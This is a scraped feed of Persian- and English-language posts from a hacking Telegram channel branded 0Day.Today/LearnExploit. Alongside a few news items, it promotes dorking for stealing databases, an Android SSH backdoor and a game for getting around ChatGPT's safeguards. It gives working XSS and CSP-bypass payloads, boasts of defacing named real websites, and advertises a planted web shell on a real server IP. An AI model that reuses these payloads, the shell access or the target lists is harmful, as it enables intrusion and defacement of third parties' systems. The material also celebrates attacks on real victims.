دوره دورک نویسی حرفه ای

دورک (Dork) یا Google Dork در واقع به معنی افشای اطلاعات ناخواسته امنیتی در اینترنت می باشد که توسط موتورهای جستجو انجام می شود. در واقع می توان از Dorkبه عنوان نتیجه Google Hacking نام برد ، وقتی یک نفوذگر با استفاده از Google Hacking آسیب پذیری را پیدا می کند می تواند جستجویی که انجام داده را در اینترنت برای استفاده دیگران قرار بدهد و آسیب پذیری های سایر وب سایت ها را نیز شناسایی کند.

دورک(Dork) از آن دسته مباحثی است که در حوزه امنیت جایگاه خاصی را به خود اختصاص داده است.برای به دست آوردن دیتابیس و یا برای پیدا کردن تارگت ، بدون شک به دورک نویسی حرفه ای نیاز داریم.

در این دوره آموزشی نکات ریز کار را در مدت زمان کوتاه به شما عزیزان ارائه می کنیم.

۱. معرفی
۲. نوشتن کلمه کلیدی به روش های مختلف
۳. نکات ریز در استفاده از کلمات کلیدی
۴. ساخت دورک
۵. بیرون کشیدن دیتابیس
۶. کرک هش

Download

#Dork #Google #Google_Hacking

BugCod3
➖➖➖➖➖➖➖➖➖➖
🔥 0Day.Today
👤 T.me/LearnExploit
📢 T.me/Tech_Army

سایت ردیابی نشست اطلاعات ایرانی‌ها

Link

imem!
➖➖➖➖➖➖➖➖➖➖
🔥 0Day.Today
👤 T.me/LearnExploit
📢 T.me/Tech_Army

هممون دیگه با ChatGPT آشناییم ، حالا یک بازی درست شده برای دور زدن ChatGPT که میتونین داخلش شرکت کنین :)

Link

#ChatGPT
——————‌
0Day.Today
@LearnExploit
@Tech_Army

KaliPurple SOC in AWS

This project is a cost effective solution for launching a Security Operations Center (SOC) in AWS using Kali Linux and Purple Team tools.

Github
——————‌
0Day.Today
@LearnExploit
@Tech_Army

#Linux #Fun
——————‌
0Day.Today
@LearnExploit
@Tech_Army

Android backdoor

SSH Backdoor for android

Github

#android #backdoor
——————‌
0Day.Today
@LearnExploit
@Tech_Army

LeakIX is a search engine for leaked databases and data leaks. It offers access to a large collection of databases, including usernames, passwords, email addresses, and more.

leakix.net

#osint #databreach
——————‌
0Day.Today
@LearnExploit
@Tech_Army

You can bypass CSP on any website that allows http://microsoft.com in a script-src

PoC: <script src=http://microsoft.com/en-us/research/wp-json?_jsonp=alert></script>

This works because of the WordPress CSP bypass our engineer (octagon) found last year :

octagon.net

#BugBounty #bypass #POC
——————‌
0Day.Today
@LearnExploit
@Tech_Army

WordPress Plugin WPML Version < 4.6.1 RXSS vulnerability

Nuclei template: Github

Payload : https://xxxxxxx/wp-login.php?wp_lang=%20=id=x+type=image%20id=xss%20onfoc%3C!%3Eusin+alert(0)%0c

#Wordpress #0day #xss
——————‌
0Day.Today
@LearnExploit
@Tech_Army

در چند ساعت گذشته میلیون ها نفر از کاربران توییتر انیمیشن The Super Mario Bros را به طور رایگان و با کیفیتی بالا تماشا کردند.
یک کاربر توییتر با استفاده از قابلیت توییتر بلو (ارسال ویدیوهای طولانی بدون افت کیفیت) این فیلم را به طور کامل آپلود میکند که در نهایت و بعد از چندین ساعت توییتر این ویدیو را حذف می‌کند.
——————‌
0Day.Today
@LearnExploit
@Tech_Army

مایکروسافت به صورت رسمی مشکل ساعت تابستانی ویندوز برای ایران را حل کرد

کاربران ویندوز 10 و 11 همین حالا با نصب آپدیت‌های زیر می‌توانند این مشکل را حل کنند و کاربران ویندوز Windows 7.0 SP1 تا Windows Server 2022 باید تا تاریخ سه شنبه، ۱۹ اردیبهشت، برای دریافت آپدیت صبر کنند.

میتونین از این زیر اونارو دانلود کنین :

Windows 11, version 22H2


Windows 11, version 21H2


Windows 10, version 22H2, 21H2, 20H2

#news
——————‌
0Day.Today
@LearnExploit
@Tech_Army

Site:
http://nagpursports.co.in
http://innovastore.cl
http://accessmedigap.com
http://medicarequotestoday.com
http://teach.medicareoffersnow.com
http://netf-lix.medicareoffersnow.com
http://test-05.followmylead.biz

Mirror-h:
https://mirror-h.org/search/hacker/59354/

Country: 🇺🇸 🇨🇱 🇩🇪

#Deface

BugCod3
➖➖➖➖➖➖➖➖➖➖
🔥 0Day.Today
👤 T.me/LearnExploit
📢 T.me/Tech_Army

PHP: 7.2.34

Safe Mode: OFF

ServerIP: 148.72.213.228 [🇸🇬]

Domains: 262 Domains

HDD: Total:199.99 GB
Free:9.18 GB [4%]

Useful : gcc cc ld make php perl python tar gzip nc

Downloader: wget lynx links curll wp-mirror

CURL : ON | SSH2 : OFF | Magic Quotes : OFF | MySQL : ON | MSSQL : OFF | PostgreSQL : OFF | Oracle : OFF | CGI : ON

SoftWare: Apache

🔗 Link

Enjoy... ⭐️

#Shell

BugCod3
➖➖➖➖➖➖➖➖➖➖
🔥 0Day.Today
👤 T.me/LearnExploit
📢 T.me/Tech_Army

WAF bypasses XSS payload in JSON  Payload

["');alert('XSS');//"]@xyz.xxx

#xss #waf #bypass
——————‌
0Day.Today
@LearnExploit
@Tech_Army

هوش مصنوعی بینگ به صورت عمومی در دسترس قرار گرفت

بعد از مدت‌ها انتظار، مایکروسافت بلاخره امروز هوش مصنوعی بینگ را به صورت عمومی در دسترس تمامی کاربران قرار داد، حالا کاربران فقط با داشتن یه حساب کاربری مایکروسافت و مرورگر اج می‌توانند از این هوش مصنوعی استفاده کنند.

#news
——————‌
0Day.Today
@LearnExploit
@Tech_Army

ابزاری حرفه‌ای برای اسکن‌ شبکه و وب

Github

#Tools

imem!
——————‌
0Day.Today
@LearnExploit
@Tech_Army

Site:
https://mffproject.com
http://slotpulsa.mffproject.com
http://test.mffproject.com
http://vfe-amzid.mffproject.com
http://vip.mffproject.com
http://wp.mffproject.com
https://aptic.club
https://aptic.club/wp-content

Mirror-h:
https://mirror-h.org/search/hacker/59354/

Country: 🇺🇸 🇫🇷

#Deface

BugCod3
➖➖➖➖➖➖➖➖➖➖
🔥 0Day.Today
👤 T.me/LearnExploit
📢 T.me/Tech_Army

CVE-2023-0386 - PoC Exploit Released for Linux Kernel Privilege Escalation

Link

Exploit

#POC #exploit #linux
——————‌
0Day.Today
@LearnExploit
@Tech_Army